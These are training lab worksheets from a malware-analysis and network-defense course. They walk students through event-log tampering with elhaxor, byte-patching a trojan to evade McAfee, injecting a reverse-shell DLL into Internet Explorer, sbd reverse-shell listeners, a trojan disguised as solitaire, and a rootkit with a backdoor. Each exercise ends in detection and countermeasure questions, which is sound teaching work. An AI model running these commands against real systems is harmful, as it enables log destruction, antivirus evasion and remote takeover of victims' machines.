A. Review your security auditing policy 

B. Exploit the Window NT Event Log 

C. Protect the Windows Nt Event Log 

A. Review your security auditing policy 

1. Use your Malware desktop shortcut to navigate to the Event Log Lab folder.  Extract the contents of 

eventlog.zip to C:\. 

2. Open your Local Security Settings by clicking the Start button, and entering “secpol.msc” in the run 

dialog.  Under Local Policies select Audit Policy.  Ensure at a minimum Audit logon events is set to audit 

both Successes and Failures. 

 
 
 
 
 
 
 
 
 
 

Figure 10: Example Security Audit Policy 

3. Cause a few events to be generated by intentionally logging of and then back on with a combination of 

bad usernames and passwords. 

 
 
 
 
 
 
 

Figure 11: Failed Logon Events 

4. What is an administrator allowed to do with the event log entries?  Which type of user accounts is able 

to view each of the three core event logs (Application, System and Security)? 

 
 
Application: System: Security: 
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B. Exploit the Windows NT Event Log 

5. Drop to a normal command prompt and attempt to stop the running Event Log service. What was the 

response you received from Windows? 

net stop “EventLog” 

 
 

 
6. Use the command-line registry utility to cause the EventLog service to be disabled the next time your 

system starts up.  

reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\Eventlog 

 /v Start /t REG_DWORD /d 4 

Value Start exists, overwrite (Y/N)? y 

 
 
 
 
 
 
 
 

Figure 12: EventLog Service Startup Configuration 

7. Restart your system using the following command:  

tsshutdn.exe 0 /reboot /delay:0 /v 

8. After the system reboot, cause a few more failed login events to be generated before logging in 

correctly.  After your login attempt to open the Event Viewer by clicking the Start button, and entering 

“eventvwr.msc” in the run dialog. 

9. What happened when you attempted to open the Event Viewer? 

 
 
 

 
10. Open a normal command prompt.  Use the Elhaxor utility to edit the Security event log.  You will be 

removing all of the failed logon attempts “Event ID: 529”. 

cd c:\eventlog 

elhaxor.exe %windir%\system32\config\SecEvent.evt /deleteall 529 

11. Use the Elhaxor utility to view the remaining events in the Security event log. 

elhaxor.exe %windir%\system32\config\SecEvent.evt /viewall 

2 = Automatic 
3 = Manual 
4 = Disabled 
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12. Finally use the Elhaxor utility to insert a fake record into the Security event log. 

elhaxor.exe %windir%\system32\config\SecEvent.evt /insert fake.evt 1 

Note: this will insert the fake record as the first entry in the event log. 

13. Configure the EventLog service to start normally the next time your system starts up.  

reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\Eventlog 

 /v Start /t REG_DWORD /d 2 

14. Restart your system using the following command:  

tsshutdn.exe 0 /reboot /delay:0 /v 

15. After logging on again, examine the Security event log using the Event Viewer “eventvwr.msc”. 

16. Do you see any of the failed logon attempts that you generated?  What might be considered unusual 

about the fake event record that you inserted?  As an auditor reviewing the event logs, what types of thing 

might you notice if someone were to modify the event logs in this fashion? 

 
 
 
 
 
 

 

C. Protect the Windows NT Event Log 

 

In this last section you will enable a simple (non-production) example of how you might protect the records 

generated in a Windows NT Event Log.  You will configure a Syslog server to collect events generated by 

your system.  A simple utility will monitor your event logs for new entries and forward those events to the 

Syslog server.  Various commercial applications utilize a similar approach to consolidate logs from various 

sources into a centralized database.    

 
 
 
 
 
 
 

Figure 13: Centralized collection of events using Syslog 

17. (Syslog Server) Start the MicroTik Syslog Daemon by clicking the Start button, and entering 

“C:\eventlog\MT_Syslog.exe” in the run dialog. 

Note: the Syslog server will start listening automatically. 

Syslog Client 
 
 
Syslog Client 

 
 
Syslog Client 

 
 

 

Syslog Server 
 

Even log 
Monitor 
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18. (Syslog Client) Open a normal command prompt.  Configure the VBScript vbEventMon.vbs to execute as 

an NT Service.  This will monitor your event logs and forward all new events to the Syslog server. 

C:\eventlog\install.cmd 10.10.x.x 

Note: use the IP Address of the Syslog server configured above. 

19. (Syslog Client) Generate a few more failed logon attempts and insure the events are forwarded to your 

Syslog server. 

20. (Syslog Client) Uninstall the vbEventMon service by executing the following command. 

C:\eventlog\uninstall.cmd 

21. What are some advantages of centralized log collection? 

 
 
 
 
 
 

 
22. Could there be any disadvantages of centralized log collection? 

 
 
 
 
 
 

 
23. Insure you delete the C:\eventlog directory (and contents) created during this lab. 
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Title: Denial of Service (DoS) – Demonstration 

Created: May 2010 

Updated: December 19, 2011 

Tasks: 

A. Demonstrate and analyze denial of service on hard drive 

B. Demonstrate and analyze denial of service on memory 

C.  Demonstrate and analyze denial of service on CPU 

A. Demonstrate and analyze denial of service on hard drive 

1. Example will be provided by instructor … 

Notes: 
 
 
 
 
 

 

B. Demonstrate and analyze denial of service on memory 

2. Example will be provided by instructor … 

Notes: 
 
 
 
 
 

 

C. Demonstrate and analyze denial of service on CPU 

3. Example will be provided by instructor … 

Notes: 
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Title: Virus Analysis – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. Analyze the companion virus technique 

B. Analyze the overwriting virus file infection technique 

C. Analyze the prepending virus file infection technique 

D. Analyze a technique to evade Antivirus software detection 

A. Analyze the companion virus technique 

1. Use your Malware desktop shortcut to navigate to the Virus Lab folder.  Extract the contents of 

virus_infection.zip to “C:\”. 

2. Open an UAC Elevated command prompt and determine the real name and extension of the built-in 

Windows FTP client utility. 

dir C:\WINDOWS\system32\ftp.* 

3. What is the real file name and extension for the FTP client utility? 

File Name: 
 

4. Create an example companion virus for the real FTP client utility. 

move C:\temp\virus.com C:\WINDOWS\system32\ftp.com 

5. Attempt to execute the FTP client by Clicking the Start button, and entering “ftp” in the run dialog.  

What happened when you attempted this?  What happens when you type just “ftp” at the command 

prompt?  Why does this happen. 

 
 
 

Hint: echo your %PATHEXT% variable from a command prompt… 

6. Stop the companion virus by pressing CTRL-C at the command prompt.  Close the command prompt. 

B. Analyze the overwriting virus file infection technique 

7. Open a new command prompt and switch to the vdemo1 directory.  Place an uninfected copy of 

victim.exe there.  

cd C:\vdemo1 

copy C:\temp\victim.exe C:\vdemo1 
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8. Obtain a baseline for victim.exe by executing the following commands.  Insure your CNDC Analysis 

Toolkit CD-ROM is inserted in the drive as some of the commands will be called from there. 

dir C:\temp\victim.exe > baseline.dir 

D:\win32\md5.exe C:\temp\victim.exe > baseline.md5 

D:\win32\pedump.exe C:\temp\victim.exe > baseline.info 

9. Infect the good copy of victim.exe using Virus1.exe by executing the following command: 

C:\vdemo1\virus1.exe C:\vdemo1\victim.exe 

10. Record the “[Offset]” where the virus inserts itself into victim.exe. 

Virus insertion point [Offset]:  
 

11. What happens when you execute the newly infected executable?  Does the functionality of the infected 

program apprear to be affected? Describe your results below: 

 
 
 

 
12. Obtain information on the infected Victim.exe by executing the following commands. 

dir C:\vdemo1\victim.exe > infected.dir 

D:\win32\md5.exe C:\vdemo1\victim.exe > infected.md5 

D:\win32\pedump.exe C:\vdemo1\victim.exe > infected.info 

13. Using fc.exe utility, compare the information gathered before and after victim.exe was infected. 

fc.exe baseline.dir infected.dir 

Did the file size change?  ( YES / NO ) 
 

fc.exe baseline.md5 infected.md5 

Did the file hash change?  Why/Why not? 
 
 

 
fc.exe baseline.info infected.info 

Did the Pedump utility show any change in the file header?  ( YES / NO ) 
 

14. Conduct a side-by-side binary file comparison using the fc.exe utility. 

fc.exe /b C:\temp\victim.exe C:\vdemo1\victim.exe 
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Figure 14: Binary file comparison (Overwriting Virus) 

15. Would this type of file infection be repairable by Antivirus software?  Why/why not? 

 
 
 

 

C. Analyze the prepending virus file infection technique 

16. From your open command prompt switch to the vdemo2 directory and place a good copy of victim.exe 

there. 

cd C:\vdemo2 

copy C:\temp\victim.exe C:\vdemo2 

17. Obtain a baseline for Victim.exe by executing the following commands.  Insure your CNDC Analysis 

Toolkit CD-ROM is inserted in the drive as some of the commands will be called from there. 

dir C:\temp\victim.exe > baseline.dir 

D:\win32\md5.exe C:\temp\victim.exe > baseline.md5 

D:\win32\pedump.exe C:\temp\victim.exe > baseline.info 

18. Infect the good copy of Victim.exe using Virus2.exe by executing the following command: 

C:\vdemo2\virus2.exe C:\vdemo2\victim.exe 

19. Record the “[Offset]” where the virus inserts itself into Victim.exe. 

Virus insertion point [Offset]:  
 

20. What happens when you execute the newly infected Victim program?  How does this differ from the 

copy of victim.exe which was infected in the last section?  Describe your results below: 

 
 
 

 
 
 

000067A5: 6A EB 
000067A6: 70 02 
000067A7: 68 EB 
000067A8: B0 05 
000067A9: 18 E8 
000067AA: 00 F9 
000067AB: 01 FF 
000067AC: E8 FF 

Original set of instructions 

Virus Code 
 
 

Offset into executable 
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21. Obtain information on the infected Victim.exe by executing the following commands. 

dir C:\vdemo2\victim.exe > infected.dir 

D:\win32\md5.exe C:\vdemo2\victim.exe > infected.md5 

D:\win32\pedump.exe C:\vdemo2\victim.exe > infected.info 

22. Using fc.exe utility, compare the information gathered before and after victim.exe was infected. 

fc.exe baseline.dir infected.dir 

Did the file size change?  ( YES / NO ) 
 

fc.exe baseline.md5 infected.md5 

Did the file hash change?  Why/Why not? 
 
 

 
fc.exe baseline.info infected.info 

Record the address of the first instruction executed when victim.exe starts:  
 Before Infection (entry point RVA): 

 After Infection  (entry point RVA): 

 
23. Conduct a side-by-side binary file comparison using the fc.exe utility. 

fc.exe /b C:\temp\victim.exe C:\vdemo2\victim.exe 

 

 

 

 

 

 

 

Figure 15: Binary file comparison (Prepending Virus) 

24. From the information gathered in the previous two steps, how does this type of virus infection differ 

from the overwriting file infection technique?  Might Antivirus software be able to repair this type of 

infection? 

 
 
 
 

00000110: A5 CC 
00000111: 73 18 
  ... 
00000CCC: 00 8B 
00000CCD: 00 EC 
00000CCE: 00 33 
00000CCF: 00 C0 
00000CD0: 00 50 
  ... 
00000CE9: 00 A5 
00000CEA: 00 73 
00000CED: 00 01 

Unused space in executable 
 

Virus Code 
 

File Header 
 
 

.Text Section 
 
 

Jump to orignal instructions … 
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D. Analyze a technique to evade Antivirus software detection 

25. Configure McAfee Antivirus to temporarily exclude a directory for this portion of the lab. 

A. Right mouse click the McAfee shield icon         in your system notification area 

B. Select “On-Access Scan Properties...” 

C. Click the All Processes icon (left side), then select the Exclusions tab 

D. Click the “Exclusions…“ button, then the “Add…” button 

E. Enter “C:\immune” in the edit box and check “Also exclude subfolders” 

F. Click the OK buttons (three times) to close the McAfee dialogs 

26. Use your Malware desktop shortcut to navigate to the Virus Lab folder.  Extract the contents of 

virus_evasion.zip to “C:\”.  From a normal command prompt switch to the immune directory. 

cd C:\immune 

27. Next you’ll use the signature detection utility to determine how McAfee identifies the provided Trojan 

as a malicious program.  A temp directory will be used to determine if each change to the Trojan executable 

invalidates McAfee’s signature. 

avsig.exe C:\immune\trojan.exe C:\temp 

28. Modify a part of signature McAfee uses to identify the Trojan. 

A. Open the Trojan executable with a hex editor 

D:\win32\xvi32\xvi32.exe C:\immune\trojan.exe 

B. Locate a part of the detected signature which can safely be modified.  Click on the Address 

menu, then “Goto…”.  Enter the hexadecimal address: $B63E, then click the OK button.   

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 16: Modifying the Trojan with XVI32 hex editor 

C. Change the value at the selected address:  (existing value: 01, change to: 00)  

Address: B63E 
Set value to: 00 
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D. Save your modification as a new file by clicking File menu, “Save As…” and using 

“C:\temp\new_trojan.exe” as the file name. 

29. Do a binary file comparison of the original and modified Trojans.  Record the differences below. 

fc.exe C:\immune\trojan.exe C:\temp\new_trojan.exe 

File Differences: 
 

 
30. Remove the exclusion for the “C:\immune” directory (created earlier) in McAfee Antivirus. 

A. Right mouse click the McAfee shield icon         in your system notification area 

B. Select “On-Access Scan Properties...” 

C. Click the All Processes icon (left side), then select the Exclusions tab 

D. Click the “Exclusions…“ button, select “C:\immune” then the Remove button 

E. Click the OK buttons (two times) to close the McAfee dialogs 

31. Attempt to execute unmodified Trojan “C:\immune\trojan.exe”.  Was it allowed to execute?  How did 

McAfee react to the Trojan?  Record your results below:    

Unmodified Trojan: 
 
 

 
32. Attempt to execute modified Trojan “C:\temp\new_trojan.exe”.  Was it allowed to execute?  How did 

McAfee react to the Trojan this time?  Analyze the modified Trojan with your CNDC Analysis Toolkit. 

Modified Trojan: 
 
 
Listening Port #: 

 
33. Which techniques are typically employed by Antivirus and other Malware detection utilities to identify 

malicious software on a computer? 

 
 
 

 
34. Based on what you learned in this last section, what other techniques/countermeasures would assist in 

defending against this type of Trojan? 

 
 
 

 

35. Kill the new_trojan.exe process and delete all of the files and directories created during this lab. 
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Title: Worm Analysis – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. Configure Wireshark to monitor the exploit 

B. Install Vulnerable NT service on Victim’s system 

C. Analyze the Worm exploiting the vulnerable Echo service 

 

A. Configure Wireshark to monitor the exploit 

1. Start Wireshark and configure it as follows. Under the Capture menu select Options…  

A. In the top Capture pane, select the Interface drop down and select your Intel adapter. 

B. In the top Capture pane, configure a Capture Filter (see below) using the Victim’s IP address. 

 

  

C. In the bottom right Name Resolution pane, uncheck MAC and network name resolution. 

D. Finally click the Start button to start the capture. 

B. Install a Vulnerable NT service on Victim’s system 

2. Log into the User account on your system.  Use the Malware shortcut on your desktop to navigate to the 

Echo Service folder.  Install the CNDC Echo Service by executing the install.vbs script. 

Note: echo_svc.exe listens for connections on TCP port 7 

3. (Attacker) Use the center system to attack your own server.  Use the Malware shortcut on your desktop to 

navigate to the CNDC Worm folder.  Copy echo_client.exe , vulnerable.dll and worm.exe to your C:\Temp 

directory.  

4.  (Attacker) Open a command prompt and insure the Victim’s Echo service is running correctly. 

cd \Temp 

echo_client.exe 10.10.x.x “this is an echo test” 

Note: utilize the Victim’s IP address above 

 

C. Analyze the Worm exploiting the vulnerable Echo service 

5. (Attacker) From your command prompt generate an exploit for the Victim's Echo service. 

worm.exe 

 
 
 

Figure 1: Generating overflow with payload data 

host 10.10.x.x and (tcp port 7 or 20 or 21 or 80) 

- Stage1 size = ?? bytes 
... 
 

- Data written to "worm.txt" (???? bytes) 
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Click Here 
 

6. (Attacker) Next use the Echo Client utility to overflow the Victim's Echo service. 

echo_client.exe 10.10.x.x worm.txt 

Note: utilize the Victim’s IP address 

7. Describe the obvious effects of the Worm in the space below: 

 
 

 
8. Continue to let Wireshark monitor the network activity of the Worm for a few more minutes. 

9. Stop the capture in Wireshark and examine the captured packets. 

10. Right mouse click an “Echo Request” packet, then select “Follow TCP Stream” to examine the payload of the 

Worm.  View the data in “Hex Dump” format and answer the following questions. 

11. How does the buffer overflow in this lab differ from the one used in the first buffer overflow lab? Examine 

the general layout and describe any differences below. 

 
 

 
12. Are there any clues in the overflow data which hint at what might have happened next? 

 
 

 
13. Close the “Follow TCP Stream” window.  Clear the capture filter string to view all packets again. 

 

 

 

14. Analyze the remaining captured packets and use your results to answer the following questions.  After each 

question you may need to clear the capture filter (as shown above) before proceeding to the next step. 

 
A. Describe what occurred during the FTP session: 

 
 
 

Hint: use “ftp” as a filter expression… 

B. Describe what occurred during the HTTP session: 

 
 
 

Hint: use “http” as a filter expression… 
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C. According to the remaining packets what is the Worm doing now? 

 
 
 

Hint: scroll down to the bottom and view the last series of packets… 

15. Open a trusted command prompt from your CNDC Analysis Toolkit.  Analyze the CNDC Worm and the 

exploited Echo Service “echo_svc.exe”.  Which tools can be helpful in displaying characteristic or the activity 

of the Worm?   

 
 
 

 
16. (Victim) Use the refresh option in netstat.exe to examine network connectivity of the Worm: 

netstat.exe –ano 5   {update network connections every 5 seconds} 

17. What is the problem with the algorithm the Worm uses in its search for other Victims? 

 
 
 

 
18. Are you able to identify the source of the Worm attack?  If so then How?  

Source IP: Source Port: 
Clues to Worm source? 
 
 
 

 

19. Use the Malware shortcut on your desktop to navigate to the Echo Service folder.  Uninstall the CNDC Echo 

Service by executing the cleanup.vbs script 

Review Questions: 

 
(1) How do Worm infections typically differ from Virus infections? 

 
 
 

 
(2) What are some general countermeasures and defenses against Internet Worms? 
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Title: Backdoor Analysis – Demonstration 

Created: May 2010 

Updated: December 19, 2011 

Tasks: 

A. Analyze a remote shell connection using SBD 

B. Analyze a remote GUI connection using TightVNC 

C. Analyze a remote command connection using BO2K 

A. Analyze a remote shell connection using SBD 

1. Will be completed in next lab … 

B. Analyze a remote GUI connection using TightVNC 

2. Use your Malware desktop shortcut to navigate to the Backdoor Demos folder.  Extract the contents of 

tightvnc.zip to C:\. 

3. Instructor will provide instructions on configuring backdoor connection… 

4. Use the appropriate tool(s) to identify the following attributes of the backdoor connection. 

Volatile Data (attribute): Utility (with switches): Results: 
Process Name and PID   
Executable Location   
Network DLLs   
Listening Port (Victim)  Port:                             ( TCP / UDP ) 
Attacker’s IP Address                   
Source Port (Attacker)  Port:                             ( TCP / UDP ) 
Attacker’s MAC address   

 

C. Analyze a remote command connection using BO2K 

5. Use your Malware desktop shortcut to navigate to the Backdoor Demos folder.  Extract the contents of 

bo2k.zip to C:\. 

6. Instructor will provide instructions on configuring backdoor connection… 

7. Use the appropriate tool(s) to identify the following attributes of the backdoor connection. 

Volatile Data (attribute): Utility (with switches): Results: 
Process Name and PID   
Executable Location   
Network DLLs   
Listening Port (Victim)  Port:                             ( TCP / UDP ) 
Attacker’s IP Address                   
Source Port (Attacker)  Port:                             ( TCP / UDP ) 
Attacker’s MAC address   
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Click Here 
 

Title: DLL and Code Injection – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. Configure and test the built-in Windows Firewall 

B. Use direct code injection technique to circumvent the Windows Firewall 

C. Use dynamic link library (DLL) injection technique to circumvent the Windows Firewall 

 

A. Configure and test the built-in Windows Firewall 

1. (Victim) From a normal command prompt, enable the Windows Firewall.  Reset the firewall back to its 

default configuration. 

netsh.exe firewall set opmode enable 

netsh.exe firewall reset 

2. (Victim) Ensure that the firewall is working correctly by attempting a file transfer using FTP.  You should 

notice the following Windows Security Alert popup after executing the ls command.  Click the Unblock 

button to create an exception rule for the FTP client utility.   

ftp.exe 10.10.200.3 

User: anonymous 

Password:  

ftp> ls 

After clicking the Unblock button a listing should occur. 

ftp> quit 
                                                                                                         Figure 19: Windows security alert for ftp.exe 
 

3. (Victim) Examine the current firewall configuration using the Netsh command.  List any allowed 

programs in the space provided below: 

netsh.exe firewall show config 

Allowed programs: 
 
 

 
4. (Victim) Use your Malware desktop shortcut to navigate to the Injection Lab folder.  Extract the 

contents of victim.zip to C:\. 

5. (Victim) Execute the backdoor C:\victim\cndc2.exe.  Configure the Windows Firewall to prevent the 

backdoor from getting network access.  See next page… 
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Click Here 
 

 
 
 
 
 
 
 
 
 

Figure 19: Windows security alert for cndc2.exe 
 

6. (Victim) Attempt to connect to the CNDC2 backdoor locally… 

telnet.exe 10.10.x.x 12345  

7. (Attacker) Attempt to connect to the CNDC2 backdoor remotely… 

telnet.exe 10.10.x.x 12345 

Note: use the Victim’s IP address 

Local connection successful?              YES  /  NO Remote connection successful?          YES  /  NO 
 
8. (Victim) End the backdoor connection by terminating the process tree. 

taskkill.exe /f /t /im cndc2.exe 

B. Use direct code injection technique to circumvent the Windows Firewall 

9. (Victim) Use a process cloning utility clone.exe to hijack the FTP client process and replace its code with 

that of the CNDC2 backdoor. 

C:\victim\clone.exe C:\victim\cndc2.exe C:\WINDOWS\system32\ftp.exe 

10. (Attacker) Attempt a connection to the cloned FTP client process.  List your results below: 

telnet.exe 10.10.x.x 12345 

Note: use the Victim’s IP address 

Remote connection successful?        YES  /  NO      (Why?) 
 
 

 
11. (Victim) From another command prompt start the real FTP client "C:\WINDOWS\system32\ftp.exe". 

Analyze the two FTP client processes using listdlls.exe.  Do any anomalies show up? 

Anomalies: 
 
 

 
12. (Victim) End the backdoor connection by terminating the process tree. 

taskkill.exe /f /t /im ftp.exe 
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C. Use dynamic link library (DLL) injection technique to circumvent the Windows Firewall 

13. (Attacker) Use your Malware desktop shortcut to navigate to the Injection Lab folder.  Extract the 

contents of attacker.zip to C:\. 

14. (Attacker) Open a command prompt.  Disable your IIS Web Server in order to free TCP port 80. 

net stop “World Wide Web Publishing Service” 

15. (Attacker) Configure a reverse shell listener to receive the Victim’s backdoor connection. 

C:\attacker\sbd.exe –c off –p 80 –l –r 0 -v 

16. (Victim) Edit the C:\victim\revshell.ini configuration file using Notepad.  Under the [network] section, 

configure the Attacker’s IP address in the “ipaddress = 10.10.x.x” line.  

17. (Victim) Start an instance of Internet Explorer and obtain its process ID.  

start /min iexplore.exe 

tasklist.exe /FI “IMAGENAME eq iexplore.exe” 

iexplore.exe PID: 
 

18. (Victim) Inject the DLL containing the backdoor into Internet Explorer.  

C:\victim\LoadDLL.exe /L {PID} C:\victim\revshell.dll 

19.  (Victim) Open a trusted command prompt from your CNDC Analysis Toolkit.  Analyze the Trojan 

revshell.dll and attempt to determine the connection type based on the Winsock functions utilized. 

C:\win32\pedump.exe C:\victim\revshell.dll 

Command Shell (inbound) Reverse Shell (outbound) 
Winsock Functions (WS2_32.DLL): 

 
20. (Victim) What is unusual about the Trojan DLL compared to the other DLLs used by Internet Explorer? 

C:\win32\Sysinternals\listdlls.cmd iexplore.exe 

 

 
 
21. What types of countermeasures might be useful in defending against code injection attacks? 

 

 
 

22. (Victim) End the backdoor connection by terminating the process tree.  

taskkill.exe /f /t /im iexplore.exe 

23. (Victim) Finally, disable your Windows firewall. 

netsh.exe firewall set opmode disable 

24. Insure you delete the Attacker and Victim directories created during this lab. 
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Title: Tunneling and Encryption – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. Establish a clear text Telnet session as a baseline 

B. Establish an SSL encrypted connection to protect Telnet data 

C. Use an executable wrapper to deploy a Trojan  

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 17: Clear text and encrypted Telnet data… 

A. Establish a clear text Telnet session as a baseline 

1. Configure Wireshark to capture the Telnet data between the client and server. 

 
 

Note: use the IP Addresses of the Telnet server and client 

2. Use your Malware desktop shortcut to navigate to the Tunneling and Encryption folder.  Extract the 

contents of stunnel.zip to C:\. 

3. (Telnet Server) Open a normal command prompt and configure a Telnet server using sbd.exe. 

cd C:\stunnel 

sbd.exe –c off –v –l –r 2 –a 10.10.x.x –p 23 –e cmd.exe 

Note: use the Telnet Server’s IP Address 

4. (Telnet Client) Open a normal command prompt and connect to the Telnet server using sbd.exe. 

cd C:\stunnel 

sbd.exe –c off 10.10.x.x 23 

Note: use the Telnet Server’s external IP Address 

host 10.10.x.x and host 10.10.y.y and tcp port 23 

10.10.x.x 

127.0.0.1 127.0.0.1 

10.10.x.x 

stunnel.exe 

stunnel.exe 

sbd.exe 

sbd.exe 

Firewall 

IDS Client Server 

SSL Encrypted (TCP 443)  

Clear Text (TCP 23) 
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5. (Telnet Client) From the Telnet client execute a few DOS commands, and then close the session. 

hostname.exe 

whoami.exe 

dir C:\ /s 

exit 

6. (Telnet Server) Kill the Telnet server by pressing Ctrl-C at the terminal. 

7. Stop the Wireshark capture and examine the captured packets.  Hint: Try using View TCP Stream… 

8. Would this type of network traffic be easily susceptible to interception and information leakage? 

YES NO 
 

9. Which protocol typically replaces Telnet for remote access and administrations? 

Protocol: 
 

B. Establish an SSL encrypted connection to protect Telnet data 

10. Configure Wireshark to capture the SSL data between the client and server. 

 
 

Note: use the IP Addresses of the Telnet server and client 

11. (SSL Server) Open a normal command prompt.  Stop your IIS Web server in order to free TCP port 443. 

net stop “World Wide Web Publishing Service” 

12. (SSL Server) Configure a Telnet server using sbd.exe.  This time the Telnet server will be configured to 

listen internally on a loopback address only.  

cd C:\Stunnel 

sbd.exe –c off –v –l –r 2 –a 127.0.0.1 –p 23 –e cmd.exe 

13. (SSL Server) Open a second command prompt.  Configure an SSL Server using stunnel.exe to listen on 

TCP port 443.  It will decrypt and forward all connections to the Telnet server configured above.  

stunnel.exe –p stunnel.pem –d 10.10.x.x:443 –r 127.0.0.1:23 

Note: use the SSL Server’s external IP Address. 

14. (SSL Client) Open a normal command prompt.  Configure an SSL client using stunnel.exe to proxy Telnet 

connections to the SSL Server. 

cd C:\stunnel 

stunnel.exe –c –d 127.0.0.1:23 –r 10.10.x.x:443 

Note: use the SSL Server’s external IP Address 

host 10.10.x.x and host 10.10.y.y and tcp port 443 
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15. (SSL Client) Open a second command prompt.  Use sbd.exe to establish a connection via the SSL proxy 

to the Telnet server. 

sbd.exe –c off 127.0.0.1 23 

16. (SSL Client) As you did in the previous section, execute a few DOS commands and exit the Telnet 

session.  Afterwards close the SSL Client by pressing Ctrl-C as the terminal. 

17. (SSL Server) Kill the SSL and Telnet servers by pressing Ctrl-C at each terminal. 

18. Stop the Wireshark capture and examine the captured packets.  Hint: Try using View TCP Stream… 

19. Would this type of network traffic be easily susceptible to interception and information leakage? 

YES NO 
 

20. Would another system be able to connect directly to the Telnet server (port 23) in this section?  Why?  

What could be used with SSL to validate the client as well as the server? 

 
 
 

 
21. How would firewalls and network intrusion detection systems (typically) respond to SSL traffic? (Explain) 

 
 
 

 

C. Use an executable wrapper to deploy a Trojan 

 
 
 
 
 
 
 
 
 

Figure 18: Backdoor deployment 

22. According to the diagram above, would the Attacker have a better chance at successfully making an 

inbound (command shell) or outbound (reverse shell) backdoor connection on the Victim’s system?  

(Explain)  Note: consider the typical policy used for configuring perimeter firewalls and NIDS. 

Attacker  Victim Attacker Victim 
Reasoning: 

 
 

 

Attacker Victim 

The Internet 
IDS 

Fi
re

w
al

l 

Backdoor 
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Microsoft Windows [Version 5.2.3790] 
(C) Copyright 1985-2003 Microsoft Corp. 
 
C:\RECYCLER\{Victim’s user SID}> hostname.exe 

23. (Victim) Delete the entire C:\stunnel directory created earlier.  Also empty your Recycle Bin.  This will 

insure there are no traces of SBD, Stunnel, or any supporting DLLs from the previous steps on your system. 

24. (Attacker) Use your Malware desktop shortcut to navigate to the Tunneling and Encryption folder.  

Extract the contents of wrapper.zip to C:\.  Create a Trojan package by executing the create.bat script from 

C:\stunnel.  The resulting package will be titled trojan.exe.   

Note: create.bat uses cExeWrap.exe to create the Trojan package 

27. (Attacker) Move the Trojan to your desktop and rename it solitaire.exe.  Navigate to the Victim’s 

system by clicking the Start button, and entering “\\10.10.x.x\c$” in the run dialog.  Copy the Trojan 

Solitaire to the Victim’s system. 

Note: use the Victim’s IP address above. 

28. (Attacker) Execute the “Hacker Setup.bat” script from C:\stunnel to automatically configure Stunnel 

and SBD to receive the reverse shell connection from the Victim’s system. 

29. (Victim) Execute the Trojan solitiare.exe received from the Attacker.  This is one of the few times which 

you’re actually authorized to play a game on a DoD system…so live it up! 

30. (Attacker) You should now see the command prompt from the reverse shell connection in your SBD 

terminal.  Verify the connection by viewing the Victim’s hostname:   

 
 
 
 
 
 

Note: Example SBD terminal on Attacker’s system. 

31. (Victim) Attempt to locate the backdoor on your system by using the search feature built into Explorer.  

Click the Start menu Search Search for “All Files and Folders”.  In the search criteria enter the file 

name: ssl_bind.exe.  What were the results of your search?  (explain why) 

ssl_bind.exe found ssl_bind.exe not found 
Explanation: 

 
 

 
32. (Victim) Open a trusted command prompt from your CNDC Analysis Toolkit.  Analyze the reverse shell 

connection.  Identify the following information regarding the backdoor connection: 

Attacker’s IP Address: Attacker’s Port # 
Location of ssl_bind.exe: 

Location of solitaire.exe: 
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33. (Victim) Exit the Solitaire game on your system.  Terminate the reverse shell connection on your system 

by executing the command below.  Afterwards delete the ssl_bind.exe and solitare.exe located in your 

Recycle Bin directory.  

pskill.exe /t ssl_bind.exe 

del C:\RECYCLER\{Victim’s SID}\ssl_bind.exe 

del C:\RECYCLER\{Victim’s SID}\solitaire.exe 

34. (Attacker) Terminate the SBD and Stunnel connections by pressing Ctrl-C at each terminal.  Delete the 

entire contents of the C:\stunnel directory from your system. 

35. What types of things could be done to help protect against a reverse shell connection? 

 
 
 
 

 
36. What types of things could be done to help protect against executable wrappers? 

 
 
 
 

 
37. What types of things could be done to help protect against connections tunneled over encrypted links? 

 
 
 
 

 
38. Insure you delete the Stunnel directory (and contents) created during this lab. 
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Capture Kernel 
Debug Messages  
 

Title: Windows Rootkit – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. CNDC Rootkit installation and analysis 

B. Rootkit detection and removal 

A. CNDC Rootkit installation and analysis 

1. (Victim) Use your Malware desktop shortcut to navigate to the Windows Rootkit Lab folder.  Extract the 

contents of cndc_rootkit.zip to C:\. 

2. (Victim) Execute the debugging utility dbgview.exe and configure it to listen for debug messages passed 

from the Kernel.  The CNDC Rootkit is configured to send you messages as certain events occur. 

 
 
 
 
 
 
 
 
 
 
                                                          Figure 20: Capturing kernel debug messages with DebugView 

3. (Victim)  Open a UAC elevated command prompt, then install the CNDC Rootkit.  A backdoor listener will 

also be started by the rootkit. 

C:\_cndc_\install.cmd 

4. (Attacker) Telnet into the Victim’s backdoor by executing the following command: 

telnet.exe 10.10.x.x 12345 

Note: utilize the Victim’s IP address 

5. (Victim) Attempt to discover the CNDC Rootkit and backdoor.  Does anything appear in Task Manager?  

Can you locate them in the registry?  How about Service/Device Manager?  Are you able to locate the binary 

files _cndc_.sys or _cndc_bind.exe on your hard drive?  Describe your findings below. 

Task Listing:                                    YES  /  NO Registry Listing:                            YES  /  NO 

Service/Device Listing:                 YES  /  NO File Listing:                                    YES  /  NO 

Additional Notes: 

 
 

6. (Attacker) Through your Telnet session are you able to view the files? 

YES NO 
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7. (Attacker) Attempt to view the files through a remote network connection.  Are they visible now? 

Note: this is the same view any other remote user/sysadmin would have … 

 
dir \\10.10.x.x\c$\_cndc_ 

Note: utilize the Victim’s IP address 

Files Visible?    YES  /  NO      (why?) 

 
 

8. (Victim) Are there any indications of the backdoor listening on TCP port 12345? 

netstat.exe –ano                                     YES  /  NO 

tcpvcon.exe –an                                      YES  /  NO 

Differences in (TCP) port listings: 
 

9. (Victim) Examine the kernel debug messages displayed by DebugView.  Use Google or Microsoft MSDN 

to obtain information regarding one of the functions hooked by the CNDC Rootkit.  

Ref: http://msdn2.microsoft.com/en-us/library/default.aspx 

Hooked function name and description/purpose: 

 

 
 

B. Rootkit detection and removal 

10. (Victim) Use your Malware desktop shortcut to navigate to the Windows Rootkit Lab folder.  Use 

Rootkit Revealer from Sysinternals to scan for the CNDC Rootkit.  

